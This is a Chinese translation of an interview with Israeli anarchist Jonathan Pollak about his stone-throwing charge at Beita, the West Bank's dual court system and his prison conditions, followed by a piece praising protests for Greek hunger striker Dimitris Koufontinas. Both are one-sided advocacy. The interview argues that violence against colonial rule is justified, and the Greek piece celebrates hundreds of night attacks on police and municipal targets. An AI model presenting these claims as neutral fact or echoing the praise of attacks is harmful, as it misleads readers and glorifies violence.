非洲人国民大会（南非反对种族隔离的主要伞形组织之一）常常被那些试图辩称 “暴力在斗争中不起作用” 的人无知地当作参照物来赞美。但非国大在成立了其军事部门 MK [uMkhonto we Sizwe，“民族之矛”]之后，从未放弃过暴力。纳尔逊·曼德拉（非国大成员和MK的创始人之一）在被监禁几十年后仍拒绝放弃暴力。1985年，当时的非国大主席奥利弗·坦博告诉《洛杉矶时报》：

> “过去，我们说非国大不会故意夺走无辜的生命，但现在，看看南非正在发生的事，很难说平民不会死亡”。

这里的斗争背景是核军事超级大国与一无所有的人民之间的斗争。殖民主义绝不会罢休。殖民主义绝不会主动退让，即使你好言相劝也门都没有。去殖民主义是一项崇高的事业，但实现中这一事业的道路往往是丑陋的，充满暴力的。在没有任何实现解放的现实选择的情况下，人们被迫采取不正当的行为。这是力量悬殊的基本现实。要求被压迫者总是以最纯粹的方式行事，就是要求他们永远处于被奴役的状态。一名抗议者正在疏散一名在贝塔示威中被以色列炮火打伤的儿童。摄影：Oren Ziv/ActiveStills。

法庭案件

「图」

Q：退一步讲，乔纳森，你正处于以色列政府的法庭诉讼之中，被指控在约旦河西岸的一次抗议活动中投掷石块。你能解释一下你被捕的背景吗？

我是在约旦河西岸纳布卢斯市附近的贝塔镇被捕的。

贝塔有着反抗以色列殖民主义的悠久传统。在第一次起义（1987–1993年）期间，它是抵抗运动的中心。1988年初，以色列臭名昭著的秘密警察欣贝特（Shin Bet）发现贝塔和邻近的胡瓦拉镇约有20名男子参与了投掷石块事件，随后以色列军队将他们集中起来。士兵们用铁链手铐将他们捆绑起来，并用石块和警棍将他们的骨头砸碎。这些士兵是在执行时任国防部长伊扎克·拉宾的直接命令，拉宾曾公开呼吁采取“打断他们的胳膊和腿”的政策。

同年晚些时候，贝塔发生了那场起义中具有决定性意义的事件，一群以色列定居者青年在定居者极端分子罗曼·阿尔杜贝（Romam Aldube）的带领下，以“举行逾越节实地考察”的幌子袭击了该镇。阿尔杜贝在该镇周围的橄榄树林中开枪打死了一名村民，之后这群人继续进入贝塔镇，在那里他们遇到了出来自卫的当地人。定居者最终被当地人解除了武装，但在此之前，定居者的子弹又打死了两名巴勒斯坦人和一名13岁的定居者女孩，后者在对峙中被阿尔杜贝本人误杀。

事件发生后，以色列社会普遍呼吁“将贝塔从地图上抹去”。作为报复，尽管军方已经通过行动汇报清楚了事件的细节，以色列军队还是摧毁了村里的**15**栋房屋，逮捕了所有男性居民，后来又将其中**6**人驱逐到约旦。

近年来，贝塔一直是以色列军队和定居者不断争夺的地方，以色列军队和定居者试图在窃取的属于该镇的土地上建立定居点。1月27日我被捕的那场抗议活动是2021年5月开始的当地起义的一部分，起因是以色列要在该镇郊区的 Jabel（Mount）Sabih 地区建立了一个定居点。在这些示威活动中，以色列开枪打死了**10**人，其中一些人是被狙击手打死的。数千人受重伤，数百人被捕。起义成功地迫使定居者撤离，但只是暂时的，而且政府承诺将在某个时候允许他们返回。定居者撤离后，该地被用作军事基地；最近，定居者又回到这里了，占据了在政府支持下修建的房屋。

在一次示威活动后，以色列边防警察部队（以色列警察的准军事部队）突袭了村庄，我被逮捕。在警察局，我听到逮捕我的两名警官在协调他们的陈述；他们随后指控我严重袭警（投掷石块）、阻挠警察

和骚乱。我被关押了三个星期，后来因健康状况恶化而被软禁。等待进入拉姆安拉附近奥弗军事法庭的巴勒斯坦被拘留者家属。摄影：Oren Ziv/ActiveStills。

Q：你要求像巴勒斯坦人那样在军事法庭而不是民事法庭接受审判。你能解释一下这一要求的意义吗？

我显然不喜欢国家，任何国家。但是，在所谓的民主国家，国家暴力的合法性概念—— 它是法律和执法系统的基础—— 源于一种虚假的“正义精神”，源于一种错误的概念，即 这些系统 “代表了那些受其权威约束的人的集体利益”。

以色列种族隔离制度的一个独特机制，甚至在南非的种族隔离制度中都不存在，那就是在约旦河西岸有两个平行的法律体系：一个专门针对巴勒斯坦人，另一个针对犹太定居者。当我被指控犯有相同的罪行时—— 即使这些罪行发生在完全相同的地点、相同的时间和完全相同的情况下—— 我将在以色列的刑事法律系统中受到起诉和审判，而我的巴勒斯坦同志将面对以色列国的军事法律系统，这反映了全面军事独裁的现实。

为了逮捕巴勒斯坦人，政府将派出武装部队，这些部队往往会在半夜用枪口暴力拘留人们。被抓走的人最多需要96个小时才能见到法官（对我来说是24小时），即使他们最终见到了法官，法官也将是一名身着制服的士兵，检察官也一样。他们将根据以色列严苛的军法受审，很可能被拒绝保释，并在定罪后被判刑，在这种制度下，400人中甚至没有任何一个人被无罪释放。

这种双重法律制度经常被称为以色列种族隔离制度的主要例子之一。它是种族隔离的明显表现，就连一些软弱的犹太复国主义者也无法忽视，但他们并没有认识到这是犹太复国主义作为定居者殖民运动的根本所在，因为他们只关注1967年的占领以及以色列对约旦河西岸和加沙的控制。你经常会听到有人说，这种制度不好，但 “不是种族主义”；其区别是基于公民身份。但这种说法是错误的。只有20%的巴勒斯坦少数民族居住在1948年被以色列占领的地区，他们拥有以色列公民身份（与约旦河西岸和加沙的巴勒斯坦人不同，他们作为没有公民身份的臣民生活在以色列的控制之下）。关于军事法庭的一个鲜为人知的事实是，即使是拥有以色列公民身份的巴勒斯坦人，有时也会在西岸军事法庭受审。事情的真相很简单： 我之所以在治安法庭被起诉，是因为国家认为我是犹太人。如果我是一名拥有以色列国籍的巴勒斯坦人，我很可能会在军事法庭受审。这个系统的运作是以种族和宗教为基础的。

法律本身也是不同的，军法实际上不是法律，而是由地区军事指挥官发布的各种法令。比如其中一项法令，即第101号命令，禁止任何十人或十人以上的“政治性集会”（例如，讨论政治话题的聚餐），即使是在私人物业中的聚会也不例外。这种“违法行为”最高可被判处十年监禁。同样，任何政治组织和协会都可能被取缔，而且经常被取缔。

我认为无政府主义是一种意识形态，或者说是一种斗争运动。我普遍认为，激进主义不应该是道德说教的（就像自我放纵和家长式统治的），而应该以实现变革为目标。在监狱里虚度光阴而不是努力在外面做些有用的事情，这本身并没有什么积极意义。我要求将对我的审判转移到军事法庭进行，其指导原则就是要揭露这个很少有人知道的制度，同时试图破坏它。考虑到以色列法律的局限性，我们提出了相当有力的法律论据，但法院却以技术问题为由置之不理—— 这真是令人印象深刻的法律戏法。在我的动议被驳回后，我决定拒绝承认法院的合法性，这也是我的策略的一部分。

我拒绝与法庭合作并遵守诉讼程序还有一个更根本的原因，这源于我对权力的理解以及我对法律和监狱系统的亲身经历。这些系统都是被操纵的，所以人们总是在恳求，总是在等待，总是任由权力摆布，没有任何真正的能动性。

而不合作颠覆了整个控制体系。它让你在本不该拥有权力和代理权的情况下重新获得权力和代理权。当然，这需要付出代价，每次都必须根据具体情况加以考虑。我并不主张将此作为与法律系统打交道时的一般策略，但我发现这非常有力量。

我被无罪释放并避免入狱的可能性压根就不存在，所以也没有什么损失。看奥弗军事法庭外景。摄影：Oren Ziv/ActiveStills。

Q：这不是你第一次面临牢狱之灾吧？

不是 …… 我想这可能是第六次了，但我不能百分百确定。同样，我的巴勒斯坦战友们经常进出监狱，鉴于我们所处的环境，基本可以说很难想象没有监禁威胁的生活。如果说有什么幸运（或特权）的话，那就是在过去二十多年的激进主义活动中我能花的时间很少。这也是以色列种族隔离的一种表现形式。

Q：您提到，今年早些时候，您因健康状况不佳而获释。您能描述一下您在不同监狱服刑时的条件吗？

与法律系统一样，监禁也是隔离的。巴勒斯坦政治犯（以色列称其为“安全囚犯”，就是需要额外的严加看管的意思）他们的病房和监狱和其他所有人都不同。政治犯的条件要苛刻得多，探视受到更多限制，不能使用电话，还有其他限制。不过，这里有更多的组织和团结意识，有时甚至是抵抗。尽管我也因政治罪名受审，但巴勒斯坦人却被列为“安全囚犯”，尽管我要求与我的同志们关押在一起，但我一直被列为“普通”囚犯。

以色列的监禁制度有三个不同的法律阶段：起诉前的关押、起诉后的逮捕、和定罪后的监禁。起诉前的关押是条件最差的阶段，在这一阶段，与外界的接触受到最大限制。在这一阶段，禁止打电话、看电视或收听广播，也禁止在小卖部购买任何物品。除了《圣经》或《古兰经》之外，不允许阅读任何书籍或读物。从法律上讲，你有权每天至少有一个小时的庭院活动时间，但你实际上很少能得到哪怕是几分钟的时间。一旦你被起诉或定罪，其中一些情况会逐渐好转，但这取决于你被关在哪个监狱或牢房。

物质条件差别很大。一间牢房里的人数可能从两人到二十人不等，我在这两个极端的牢房都蹲过。一般来说，我更喜欢尽可能多的隐私，但这确实取决于你的狱友是谁。被困在只有一位狱友的牢房里可能是一个相当沉重的社交负担，尤其是对于我这样不善于交谈的人来说。

毒品和毒瘾也是个问题，而且到处都有。止痛药、鸦片制剂、阿片类、街头毒品，应有尽有。但是，这些毒品从来都没有稳定的供应，也没有足够的数量，所以你经常会被困在一间牢房里，和一群瘾君子在一起，他们既要强行戒掉毒瘾，又不接受治疗，既要弄到毒品，又要嗨起来。为了争夺仅有的一点毒品，他们总是大打出手。从技术上讲，不吸烟的囚犯有权要求被关押在不吸烟的牢房里，但那只是理论上而已。实际上，我被关押过的唯一一间无烟牢房是一间单人牢房。就在我患上急性支气管炎时，甚至连无烟牢房都没有。

我素食已经快30年了。我患有I型糖尿病和麸质不耐受症（乳糜泻），在一次游行示威中被催泪弹击中头部留下癫痫的后遗症。这让我在监狱里的食物问题一直很棘手，因为我基本上不能吃监狱厨房里做的任何东西。通常需要一两周的时间才能吃到一些食物，甚至需要更长的时间才能吃到我需要的和有权得到的所有食物。在此期间，我的食物基本上就只是黄瓜，如果能吃到一些胡萝卜就已经很幸运了。

在最近一次坐牢期间，我在三周内体重下降了约12公斤（26 磅），约占体重的15%。我患上了急性支气管炎，血糖飙升到危及生命的水平。

我很幸运被保释软禁，主要是因为我的健康状况。这是巴勒斯坦人绝对没有的幸运。这次经历让我对如何处理案件的法律政治策略产生了一些自我怀疑，甚至有点崩溃。我花了一段时间来恢复身体，但花了更长时间来恢复精神和情感。我必须就如何处理此案做出决定；没有一个选择是好的，而且我也不适合做决定。最后，我意识到我面临着一个二元选择：要么我不得不背弃我十几岁时与自己达成的协议，当时我发现了素食主义的镜像世界，意识到这个世界是多么歪曲和混乱；要么我必须履行协议，并且……你知道，继续下去。说真的，这是个很简单的选择，对吧？等于几乎别无选择。

Q：您还面临其他指控吗？

除了上述指控，还有一些未决案件—— 我尚未被起诉的指控，但仍有可能被起诉。最值得注意的是 “煽动暴力和恐怖” 的罪名，这只是因为我在**2020**年入狱前发表了一篇文章，呼吁人们支持并加入巴勒斯坦人抵抗以色列殖民主义的行列。贝塔的抗议者使用 “夜间混乱”战术骚扰定居者，他们对着定居点闪烁高功率激光笔和灯光，举着燃烧的火把向定居点行进，并将燃烧轮胎的烟雾引向定居点。摄影：Oren Ziv/ActiveStills。

Q：你们是否得到了以色列社会、巴勒斯坦和国际团体的支持？人们可以做些什么来支持你和其他在那里组织活动的人吗？

我在无政府主义社区和巴勒斯坦人中间有自己的支持圈子。我认为目前最有价值的事情是支持抵制、撤资和制裁以色列的运动。现在有很多这样的活动，相对来说比较有效，参与起来也比较容易。

至于支持我，我觉得支持这场斗争和巴勒斯坦囚犯是支持我个人的最好方式。

目前，以色列监狱中有 **5000** 多名巴勒斯坦被拘留者。被关押在以色列监狱中的人中约有四分之一是以色列所谓的 “行政拘留者”，他们可以在没有任何指控或审判的情况下，根据 “秘密证据”被无限期关押。

据估计，生活在以色列军事统治下的每五名巴勒斯坦男子中，就有一人曾至少被以色列监禁过一次。

最支持巴勒斯坦囚犯的组织是 Addameer囚犯支持和人权协会：一个巴勒斯坦非政府民间机构，致力于支持被关押在以色列和巴勒斯坦监狱中的巴勒斯坦政治犯。该中心由一群关心人权的活动家于1991年成立，为政治犯提供免费的法律援助，在国家和国际层面倡导他们的权

利，并通过监督、法律程序和声援运动努力制止酷刑和其他侵犯囚犯权利的行为。

2021年，以色列根据“秘密证据“未经正当程序将六个著名的巴勒斯坦民间社会组织指定为“恐怖组织”，**Addameer**就是其中之一。他们正在为支持被以色列和巴勒斯坦权力机构拘留的巴勒斯坦政治犯开展重要工作，支持他们至关重要。

Samidoun 是一个由组织者和活动家组成的国际网络，致力于声援巴勒斯坦囚犯争取自由的斗争。他们致力于提高人们对巴勒斯坦政治犯、他们的状况、他们的要求以及他们为自己、同胞和祖国争取自由的斗争的认识，并提供相关资源。**Samidoun** 还致力于组织地方和国际运动，以实现政治变革，倡导巴勒斯坦囚犯的权利和自由。

您可以在这里了解我的案件的最新进展，这要感谢我当地的支持小组。虽然可能还有几个月的时间，但只要我回到监狱，就有希望能收到信件。最简单的方法是向我上次入狱时使用的电子邮件地址 support.jonathan@proton.me 发送电子邮件，邮件会转寄给我。我会尽力回信给你，尽管我的能力非常有限，因为邮票太少了。在给囚犯写信时，一定要记住所有信件都会受到监控。

背景

「图」

Q：您参与创建了“无政府主义者反墙/*AAtW*”组织，该组织在*2000*年代初获得了相当高的国际知名度。这个项目的成果如何？如今以色列的无政府主义运动是什么样的？

我不太喜欢把它说成是“帮助建立”了“反墙”组织，主要是因为我觉得这是对该组织 —— 甚至是大多数直接行动组织 —— 如何启动的错误描述。因为并没有一个特定的时刻。在千禧年之初，第二次起义正处于高潮，而我们只是一小群加入巴勒斯坦抵抗运动并开展直接行动的人。事情的势头越来越大，大家也越来越团结，但我们从未“成立”过一个组织。就连这个名字也不是我们刻意选择的。我们每次都用不同的名字发布新闻稿。纯属偶然，在军队实弹射击我们其中一人的那天，我们用的就是这个名字。在随后的媒体狂潮中我们声名狼藉，然后这个名字就延续了下来。

二十年后，AAtW项目已不复存在，但我认为这其中既有消极的也有积极的经验教训。与它的产生方式类似，AAtW 并没有在某一特定时

刻消失，而是逐渐枯萎了。无政府主义者生活在他们所反对的社会中，并不能幸免于社会的病痛。权力的动态变化总是会带来一场艰苦的斗争，而我认为，到最后，这潭水实在是太浑浊了。我们谈论的是一个相当小的群体，他们的政治纽带在很大程度上是在个人亲情和信任的基础上建立起来的。我可以指出 **AAtW** 解散的另一个重要原因是**2010**年代后期巴勒斯坦人民抵抗运动的衰落。

在我离开之后，该组织因在 “暴力非暴力” 问题上存在根本性分歧而解散。在我看来，CrimethInc.于2013年出版的 “以色列当代无政府主义史” 很好地讲述了这一面的故事，尽管我对文中涉及的其他一些问题持有异议。

无政府主义者仍然参与抵制犹太复国主义和以色列殖民主义。以色列的无政府主义运动忠实于其 “起源”，在动物权利方面依然根深蒂固。运动中的人们参与支持难民和无证移民、文化和反文化活动、激进教育等。

然而，虽然激进主义活动一出现，无政府主义者就会出现，但我的感觉是，目前并不存在一个独特的无政府主义运动—— 也许是因为这里缺乏强大的无政府主义传统。2011 年，乔纳森·波拉克在约旦河西岸纳比·萨利赫镇的一次示威活动中被拘留。摄影：Oren Ziv/ ActiveStills。

Q：从这个角度来看，你认为“无政府主义者反墙运动” 取得了哪些成就？根据你的经验，会向其他地方的无政府主义者传授哪些经验——至少是假设？

我认为，由于 AAtW 的曝光率相对较高，人们对它的评价往往高于实际情况。在早期，它不过是一小群非常敬业的人，实际上是一个扩展的亲密团队。最终，它的规模扩大了一些，其核心积极分子有几十个人，也许还有几百人零星地围绕着它。

在我看来，**AAtW** 最重要的特点是摒弃了虚假的民族效忠甚至是身份认同，转而跨过阵营，直接参与巴勒斯坦人反抗以色列殖民主义的斗争。在以色列这样一个具有凝聚力的军国主义社会中，这与常见的左翼传统大相径庭。这也许不是开创性的，但却非同寻常。我们的目标是认识到我们的权利，利用它，并在我们与巴勒斯坦抵抗运动的关系中颠覆它。不是以白人救世主的身份出现，而是作为一种资源。加入巴勒斯坦斗争并遵循巴勒斯坦指导的原则在该组织活动的各个方面都得到了巩固。

我认为，将我们自己视为参与斗争的盟友，而不是以色列社会背景下的支持者，是AAtW最重要的贡献，也产生了最持久的影响，在其直接圈子之外也是如此。

作为一个最初规模较小、关系密切的团体，一开始并不需要阐明很多问题。对大多数参与者来说，某些事情是非常清楚的，而在以色列政界，甚至在更激进的边缘地带，这些事情都是非常忌讳的—— 例如，我们对暴力的态度、我们在斗争中的地位、我们与以色列社会的对立立场。随着团体的壮大，这种禁忌变得越来越淡化，甚至变得混乱。可以说，AAtW是当时直接支持约旦河西岸巴勒斯坦人民抵抗运动的唯一组织，这意味着随着时间的推移，有一些人加入了这个组织，他们赞同一些基本原则，但并不一定完全符合最初的政治方向。现在回想起来，一开始我们只是一个规模较小、偏同质化、“行动第一”的团体，我们没有足够的工具和视角来应对即将发生的事情。

Q：新政府如何改变了以色列社会和整个巴勒斯坦的局势？限制最高法院权力的新立法对你个人和一般政治活动家的处境有何影响？*[*请注意，这个问题和下面的回答都是在*10*月*7*日事件发生之前提出的。]

现任政府是以色列有史以来最糟糕、最危险的政府之一—— 这已经是相当克制的说法了。它公然表达并执行种族清洗政策。它所构成的威胁确实巨大，但最重要的威胁也许是它最不特有的威胁：这个政府真实地代表了以色列政坛不断向极右翼靠拢的趋势。以色列社会的核心争议点，也是最受国际关注的争议点，是政府对司法机构的攻击—— 但这只是美学上的裂痕，被掩盖为一场“民主斗争”。事实上这是一场内部争论，争论的焦点是如何以最佳方式管理和维护犹太至上主义，而犹太至上主义在以色列社会中几乎得到了无坚不摧的支持，在所谓的自由派中也是如此。

当前试图实施的具体改革可能会使法院变得更加软弱，自由度进一步降低，但法院从来都不是我们权利的捍卫者，更不用说巴勒斯坦人的权利了，也不是政府政策的抑制者。哪怕是一点点，都不是。以色列的司法机构现在是，而且一直是，以色列殖民主义的基石；它在促成犹太复国主义政策和为其周围的制度提供一个声誉良好的自由派法律外套方面发挥着至关重要的作用。以色列有赖于其将自己描绘成所谓充满活力的“民主国家”并进行宣传的能力。削弱司法机构可能会带来一些危害，但我认为，如果抵抗运动认为司法机构取得了胜利，这将对整个反对殖民主义和种族隔离的斗争带来更大的危险。

这场抗议运动的主导者是预备役军人、以色列臭名昭著的秘密警察辛

贝特（以色列内部安全局）的前高级成员、经济自由派、以及其他各种犹太复国主义和民族主义团体。虽然也有一些更激进的人参与其中，但他们的作用和影响力都微乎其微。以色列国旗由犹太符号组成，是犹太排他性和至高无上的象征，它成为抗议运动最显著的标志绝非偶然。这些团体坚信以色列是一个“民主国家”，坚信犹太至上与此并不矛盾。总的来说，这也是参与抗议的群众中最普遍的情绪。这一运动的任何胜利都将被用来强化以色列“民主已经占上风”这一错误且危险的观念，错误地暗示以色列“民主本来就存在”。贝塔的抗议者。摄影：Oren Ziv/ActiveStills。

Q：无政府主义者在抗议活动中扮演了什么角色？

是否参加抗议活动的问题让当地的无政府主义者内部产生了分歧。虽然许多人感到被疏远，但也有一些无政府主义者参加了“激进团”，顾名思义，这是一个由参加抗议活动的激进分子组成的松散联盟。据我所知，他们更多地将自己视为主要活动中的反抗议者。

虽然我尊重以色列社会试图动员起来的选择和为此付出的努力，但我仍然认为，在目前的情况下，这种选择是错误的。抗议运动的规模如此庞大，而且绝大多数人都认为以色列是一个需要被拯救的“民主国家”，因此它将吸纳、收编或冲淡其中任何不同的趋势。基于上述原因，我认为当前的运动也许是自《奥斯陆协定》以来对反对以色列殖民主义斗争的最大威胁，以色列很可能会利用这场运动来恢复其国际地位，就像他们从20世纪90年代初的巴勒斯坦大起义中恢复过来一样。当时，所发生的一切最终只是巩固了对巴勒斯坦人的统治，加剧了对他们的剥夺。

早在20世纪90年代，以色列极右翼就反对《奥斯陆协定》，他们目光短浅地认为这是一种失败主义的妥协，并大规模走上街头。我们也反对《协定》—— 因为当时就很清楚，以色列将如何利用《协定》来实现自身的复兴，甚至更糟糕的是，如何利用《协定》来铲除巴勒斯坦起义。然而，我们从未考虑过加入旨在阻挠执行《协议》的大规模右翼示威活动。我认为今天的情况有些类似。也许一个更熟悉的例子是，许多纳粹分子和法西斯分子也反对全球化，难道有人会想象与他们联手吗？

【注：这一判断很重要，对那些经常从错误来源转译消息的中国译者来说，尤其如此。】

然而，我对参与伪民主抗议活动的不适感更深。我认为，在像巴勒斯坦这样的定居者殖民局势中，我们（以色列无政府主义者）的角色不

是，也不应该是定居者社会中的温和派。我们必须完全摒弃这个社会、它的观点、它的内部政治。我们必须明白，权力悬殊意味着变革不可能来自以色列社会内部。我们的作用是削弱它，制造分裂，彻底抵制。在争论不休的时候，我们不能试图进入以色列社会，而是要远离以色列社会，投入到反对以色列社会的斗争中去。

Q：从外面看，整个地区就像一个随时会爆炸的火药桶。怎样才能发展出积极的东西？是什么给了你希望？

我宁愿不拿希望做交易，因为就像所有的交易一样，这也是一种幻景。我是在20世纪90年代中后期的动物解放运动中长大的，当时正值最初的绿色恐慌时期。我记得在某本杂志上读到过Free（杰弗里·吕尔斯）从狱中寄出的一封信，也许是在他被判刑一两年后，这封信对我产生了持久的影响。这封信已经过去很久了，我现在也找不到它的下落，即便是在互联网让最稀有的文件唾手可得的今天。所以我肯定我说的有点偏差，但在这封被判处二十多年监禁的信中，杰弗里提到了华沙犹太人区的反叛，以此为例说明希望或成功的前景并不是斗争和抵抗的标准。这在当时很有启发，现在依然如此。

未来无法预知。一位参与南非种族隔离政权地下抵抗运动的好友告诉我，**20** 世纪 **80** 年代末是最黑暗的时期。彼得·威廉·波塔掌权，美国仍大力支持南非白人，将其视为重要的“反苏堡垒”，种族隔离制度的终结甚至遥遥无期。苏联解体后，地缘政治局势在一夜之间发生了巨大变化。起初，每个人都认为这就是结局，因为苏联是非国大最重要的支持者。但一个不太明显的副作用是，在后冷战时代，南非亲西方的种族隔离政府不再非常重要；事实上，是利用这些地缘政治变化而开展的强有力的运动带来了政治变革和种族隔离制度（不完美的）瓦解。乔纳森·波拉克戴着脚铐，被护送到耶路撒冷治安法院参加还押听证会。摄影：Oren Ziv/ActiveStills。

附录： 乔纳森·波拉克的量刑陈述

「图」

自 2021 年 5 月纳布卢斯附近的西岸贝塔村开始发生示威活动以来，已有 10 名示威者被以色列士兵枪杀。今年 1 月 27 日，我在村里举行了反对以色列殖民主义、反对为建立新的犹太人定居点而窃取村里土地的示威活动，在回家的路上被以色列边防警察逮捕。随后，我被控投掷石块，现在站在法庭上对这些指控进行答辩。此案完全是基于三名拘留我的边防警察的虚假证词。警方拒绝在边防警察的证词之外进行任何有意义的调查，包括调查我明确报告说我听到边防警察相互

协调证词的情况。与警方不屑一顾的做法不同，我确实有证据推翻这些警官的证词，表明他们的证词充满谎言。

在正常情况下，我很乐意让这起案件的审理工作顺利进行。然而，情况远非如此。这起案件不同寻常，是在被告提出申请，要求将审判地点从以色列刑事法庭改为更为严厉的军事法庭系统之后发生的。我要求在军事法庭受审，因为我的巴勒斯坦战友经常在类似我被拘留的示威活动中被捕，他们就是在军事法庭受审并被判处严厉的惩罚，而判罚依据的证据寥寥无几，而且往往是捏造的。毫不奇怪，检方反对这一动议，法院也做出了反对的裁决。州检察官拙劣（且不完全准确）的理由是，我的生活中心不在约旦河西岸。然而，根据政策，在约旦河西岸生活和工作的以色列定居者也不会在军事法庭受到起诉。他们的 “生活中心” 在哪里？法院驳回我的动议的主要理由是，我被指控的罪行不属于安全罪行。

我不是法律专家，没有评估法院判决合法性的工具，也不认为这很重要。但有一点是毋庸置疑的： 不仅是那些直接生活在以色列在约旦河西岸实行军事独裁统治下的巴勒斯坦人，在以色列军事法庭上因相同或类似的指控而受审的巴勒斯坦人数以千计。我之所以能幸免于难，是因为以色列认为我既是以色列公民，也是犹太教信徒。我的朋友 **Tareq Barghouth ——** 耶路撒冷的巴勒斯坦居民和以色列律师协会的前成员**——** 在约旦河西岸的军事法庭上被一名身着制服的以色列士兵审判、定罪和判刑。与此同时，阿米拉姆·本·乌利尔也是杜马村纵火案的凶手，他被判犯有更为严重的恐怖主义罪行，却可以在耶路撒冷的民事刑事法庭接受审判。

就在两个月前，以色列定居者在西岸布尔卡村开枪打死了 Qussai Ma’atan。两名定居者因涉嫌谋杀被捕。与此同时，布尔卡村的一些居民也因涉嫌参与定居者闯入他们村庄后发生的冲突而被捕，但嫌疑要小得多。定居者的案件在以色列民事刑事法庭进行了多次听证，而巴勒斯坦人的案件则在军事法庭进行了仅一次听证。其原因是，巴勒斯坦人必须在 96 小时之后才能出庭—— 是以色列刑法规定期限的四倍。

按照以色列法律的标准，这种歧视性政策可能确实被认为是合法的，但从本质上讲，其核心是以色列在河海之间实行种族隔离制度的明显表现。

法律并非正义。南非的种族隔离制度在当时受到当地法律的保护，法国在阿尔及利亚的殖民主义、罗得西亚的白人至上主义以及其他无数战败的殖民政权显然都是不公正的。事实上，法律往往被设计成正义

的反面。

现状的不公正是如此不言而喻、不可否认，以至于就连臭名昭著的以色列摩萨德前负责人塔米尔·帕尔多最近也不得不承认，“在一个领土上，两个人在两种法律体系下接受审判，这就是种族隔离国家”。

尽管阅读起诉书可能会让人产生这样的想法，但本案并非围绕“骚乱”或“阻挠和殴打警察”展开，而是围绕镇压和控告反抗以色列殖民主义及其种族隔离制度的行为展开。我对起诉书中描述的指控和事实的回应是无关紧要的。既然这次审判的方式本身就是以色列种族隔离制度的体现，那么合作就是自满。二十多年来，我一直致力于同以色列的殖民统治作斗争，我现在不愿也不能同它合作，即使我的决定意味着再次身陷囹圄。

因此，尽管我无意承认我没有做过的事，但我不会质问国家证人，不会传唤任何代表我的证人，也不会亲自出庭作证；我不会质疑控方的所谓证据，也不会提供任何我自己的反驳证据。以色列殖民主义及其种族隔离制度的核心是非法的。这个法庭也是非法的。本案的诉讼程序是对平行的、非法的军事法庭所进行的其他诉讼程序的补充，而军事法庭存在的理由就是镇压抵抗。对这一起诉、对这一现实的唯一合理回应就是为自由和解放而斗争。没有什么声音比起义的声音更响亮！

□

“A Nuclear Superpower and a Dispossessed People”

原文

“我们对警察的憎恶把我们团结在一起” - iyouport

反抗者-寻求经验

不论是恨还是爱，都能将人们团结在一起，最重要的是，所有人都信仰和追求同一个目标

本文来自希腊反抗者，他们所面临的压迫、暴力和危险并不比中国反抗者少，希望这篇文章能为中国反抗者带来勇气。

不要错过此前的另一篇相关报告《先开枪，再问问题：来自世界各地的警察暴力》。

Dimitris Koufontinas: 来自重症监护室病床上的反抗

「图」

希腊政治犯迪米特里斯·库方提纳斯（Dimitris Koufontinas）在经历了65天的绝食后仍然活着。

尽管库方提纳斯很可能因绝食而死亡，但该国一再拒绝他换监狱的要求。他已经用尽了所有可用的法律选择。在家人和政治团体的压力下，他结束了绝食抗议。虽然他将面临永久性的健康后果，但他激励了许多人走上街头。

库方提纳斯没有能实现他的要求，尽管他所要求的只是他所谓的合法权利。一直以来，这都是不可能的，尤其是在这个政府治下，而这个政府是 库方提纳斯所对抗的同一个专制王朝的直接后裔。

几个星期以来，每天都有小群勇敢的人们走上街头支持库方提纳斯；尽管人数不多，但他们面对的都是警察的暴行—— 包括水炮—— 这些镇压武器通常是留给大规模暴动的。

此后抗议活动的规模越来越大，因为越来越明显的是，国家准备让库方提纳斯死亡。COVID-19大流行引起的紧张局势，以及政府利用它

来加速其镇压议程的机会主义，为这一时刻的到来创造了条件。但是，一位著名政治犯的最后一次表态，迫使成千上万的人克服恐惧，走出封锁。

每天都有示威活动。一股不可统治的力量出现了；双方都知道，如果警察把事情逼得太紧，抗议者就会引起爆炸性行动；如果有一天抗议者人数较少，警察就会趁机攻击，结果第二天人数就会倍增。

夜间的行动与每天的示威活动一起扩大。发生了五百多起袭击事件，目标是市政大楼、警察局、官方媒体，还包括警察在家中的私人汽车。由于警方把注意力集中在中央示威活动上，不知道抗议者下一步会在哪里发动袭击，袭击变得如此频繁，以至于当局雇佣了私人保安来守卫著名政客和富商的住宅。

无政府主义者、自治主义者、学生、反法西斯主义者、律师、体制外人士、甚至议会中的左翼团体，并肩游行，反对新民主党政府。

抗议者们想开创一个先例，即 打破那些在反对专制体制的斗争中挑战权势的人将连同他们的梦想和所代表的运动一起死在监狱里的惯例。然政府并没有想到抗议者会有这样的激情表现。媒体在报道这些秘密行动时，竭力不提促使这些勇敢行为的那场著名绝食。这些媒体试图狡辩称，示威活动是在传播COVID-19，而掩盖了人们上街的真正原因。尽管如此，数千人还是在 “我生于11月17日” 的横幅下走上了雅典街头。声援政治犯迪米特里斯·库方提纳斯（Dimitris Koufontinas）的示威活动

在雅典、塞萨洛尼基、佩特雷和全国其他地方，人们不顾被捕、罚款和拘留的风险，进行了广泛的动员。抗议者表示，他们愿意冒着健康和安全的危险，而不是放弃自由。

大规模的示威活动表明，人们并不哀悼现任军政府的亲属，不允许统治阶级或其媒体把他们当作受害者。最重要的是，示威活动表明，那些在狱中受苦受难、反抗统治和剥削的勇士们不会被遗忘，“牢房无法锁住人们对自由的热情”。尽管有那么多封锁隔离，但很明显，很多人已经准备好了要一起驾驭下一波反对国家政权和资本主义的革命张力。

由于绝食的后果，库方提纳斯的肾脏几乎衰竭；他被迫接受透析。这是他迄今为止第五次也是最长的一次绝食，他的健康状况严重恶化，将产生长期影响。他现在还活着这本身就已经是一个了不起的和鼓舞人心的壮举。

库方提纳斯的要求绝对是在他的合法权利范围内的。我们不承认国家所谓的司法体系，也不指望它能提供什么公正的服务。在媒体和国家机器迫于国内外的政治压力后，他们需要宣称库方提纳斯“没有按照适当的程序提出他的要求”，声称他转而进行绝食是“荒谬的”。作为特朗普铁粉的希腊监狱部长索菲亚·尼古劳狡辩说：“如果我们屈服于他的要求，那么下一次强奸犯想要什么东西的时候，我们也要为他们做同样的事。”然而一旦绝食成为她再也无法忽视的丑闻，她就必需对绝食做出回应。

在尼古劳发表声明后，库方提纳斯的律师公开宣布，他们已经多次走法律途径，他们将重返法庭，对国家拒绝尊重库方提纳斯的权利的行为提出质疑。他的律师试图对他新的转狱决定提出上诉，并提出将他送回雅典的 Korydallos 监狱可以保护他的健康，平息局势。

律师们在整个上诉过程中都向公众通报了最新情况，因为人们感觉到，如果库方提纳斯死了，可能会有一场迫在眉睫的内战。政府声称律师们没有尝试过的所有那些司法途径，实际上都是被国家拒绝的，这使得库方提纳斯离死亡越来越近。

